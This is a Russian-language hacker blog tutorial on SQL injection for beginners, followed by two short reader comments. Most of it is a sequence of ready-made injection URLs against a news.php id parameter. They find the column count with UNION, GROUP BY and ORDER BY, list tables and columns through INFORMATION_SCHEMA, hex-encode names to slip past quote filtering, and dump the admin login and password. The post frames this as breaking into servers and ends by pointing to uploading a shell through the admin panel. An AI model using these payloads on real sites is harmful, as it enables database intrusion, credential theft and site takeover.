Новичку полезно

  • Баннер
  • А знаете ли вы что?

    - rudvs! Теперь с ванильным вкусом!


SQL Injection

Теги: инъекция, SQL Injetion, взлом

Как прокуренный всеми этими сферическими конями в закромах интернетов хакер, ты должен понимать, что для того чтобы лохмачить сервера тебе пригодиться не затейливая методика sql inj.
    Для примера возьмем всеми затраханный http://site.ru
    На нем есть некий php который работает с переменной:
   
        http://site.ru/news.php?id=1
   
    Сам код news.php выглядит так:    
        SELECT * FROM news WHERE id='1';
   
    Эта команда выводит строчку из таблицы news, где id = 1. Естественно переменную "1" он берет из get запроса site.ru/news.php?id=1.
    Если в get запрос добавить одинарную кавычку после переменной и на страницу выподит ошибка mysql, то это и будет обозначать что мы нашли уязвимость в скрипте news.php
    В мудром языке sql есть особенность, цифровую переменную не обязательно заключать в кавычки и выглядить код может вот так:
   
        SELECT * FROM news WHERE id=1;
   
    В этом случае кавычка в get запросе ошибку не даст, а нам сейчас именно она и нужна, если вы еще не догадались.
    Здесь может помочь кавычка в самом параметре id.
   
    Теперь надо узнать сколько тут находится полей.
    Для этого есть разные способы: UNION, GROUP и ORDER
   
    UNION
   
    Делаем следующие манипуляции:
   
        http://site.ru/news.php?id=1' UNION SELECT 1 --
   
    Если вылетает ошибка, значит количество полей не совпадает с существующем количеством. Следует увеличивать поля, пока не отобразится нормальная страница без ошибки.
   
        http://site.ru/news.php?id=1' UNION SELECT 1,2 --
        http://site.ru/news.php?id=1' UNION SELECT 1,2,3 --
   
    GROUP
   
    С этой командой немного попроще, потому что полей может быть и 42.
   
        http://site.ru/news.php?id=1' GROUP BY 1 --
   
    Если не выходит ошибка, то существующих полей больше или равно 1. Увеличивая это значение до тех пор, пока не вылезет ошибка мы узнаем количество полей. Оно будет ровно последнему значению GROUP которое прошло без ошибки.
   
    ORDER
   
    Для наших целей это абсолютно тоже самое что и GROUP.


    Теперь нам нужно заменить существующие поля на страницу на что нибудь интересующее нас. Это можно сделать изменив переменную на несуществующее значение:

        http://site.ru/news.php?id=999999' UNION SELECT 1,2,3,4,5,6 --
   
    Теперь там где выводились новости появяться наши поля 1, 2 или 3. С ними уже можно работать.
    Первое что советую сделать, это посмотреть версию базы данных. Для этого есть функция version()
    Подставим ее в наше поле которое выводится на страницу:
   
        http://site.ru/news.php?id=999999' UNION SELECT 1,version(),3,4,5,6 --
       
    Если версия меньше 5.0.0 - дело плохо, но не стоит унывать. Если старше, то мы знаем что базе в версиях mysql старше 5.0.0 хранится таблица с именами всех таблиц в этой базе.
   
        http://site.ru/news.php?id=999999' UNION SELECT 1,TABLE_NAME,3,4,5,6 FROM INFORMATION_SCHEMA.TABLES
       
    Здесь мы выводим первую строку TABLE_NAME из таблицы INFORMATION_SCHEMA.TABLES
    Для того чтобы увидеть следующую строку, можно использовать команду limit:
   
        http://site.ru/news.php?id=999999' UNION SELECT 1,TABLE_NAME,3,4,5,6 FROM INFORMATION_SCHEMA.TABLES limit 1,1
       
    Это выведет вторую строку, так как исчесление начинается с нуля. И продолжаем до тех пор пока не встретим интересующую нас таблицу:

        http://site.ru/news.php?id=999999' UNION SELECT 1,TABLE_NAME,3,4,5,6 FROM INFORMATION_SCHEMA.TABLES limit 2,1
        http://site.ru/news.php?id=999999' UNION SELECT 1,TABLE_NAME,3,4,5,6 FROM INFORMATION_SCHEMA.TABLES limit 3,1
       
    Мы нашли таблицу User. Теперь нам надо узнать название столбцов в ней, чтобы посмотреть что в них. Для этого в версии mysql старше 5.0.0 поможет нам таблица INFORMATION_SCHEMA.COLUMNS в которой хранятся сталбцы текущей базы данных:
   
        http://site.ru/news.php?id=999999' UNION SELECT 1,COLUMN_NAME,3,4,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='User' LIMIT 0,1 --
       
    Это выведет первый столбец в таблице User. Могут быть проблемы с фильтрацией ковычек. Поэтому завуалируем их. Замечательный ресурс http://x3k.ru/ нам в этом поможет. В разделе SQL Hex: пишем нашу таблицу User и получаем хекс 0x55736572 который вставляем в наш запрос:
       
        http://site.ru/news.php?id=999999' UNION SELECT 1,COLUMN_NAME,3,4,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x55736572 LIMIT 0,1 --
       
    Теперь все ровно. Изменяя параметр limit мы узнаем что в таблице User есть столбцы login и password. Чтобы узнать что в них храниться вводим следущуюю инъекцию:
   
        http://site.ru/news.php?id=999999' UNION SELECT 1,login,password,4,5,6 FROM User LIMIT 0,1
       
    Это выведет в полях 2 и 3 логин и пароль первого пользователя в таблице User. Обычно этот пользователь админ и обычно его пароль подходить от админки сайта где можно залить шелл...

Комментарии  

 
#2 Такая дыра в сайте - ой ой ой.Sasserman 19.08.2019 07:21
Всегда делаю защиту от MySQL инъекций на своём сайте)))
Цитировать
 
 
+2 #1 RE: SQL InjectionBreakingBad 12.02.2018 04:21
Для новичков полезно
Цитировать
 

Добавить комментарий











Cтатистика

SMS.копилка

SMS.копилка

Orphus

Система Orphus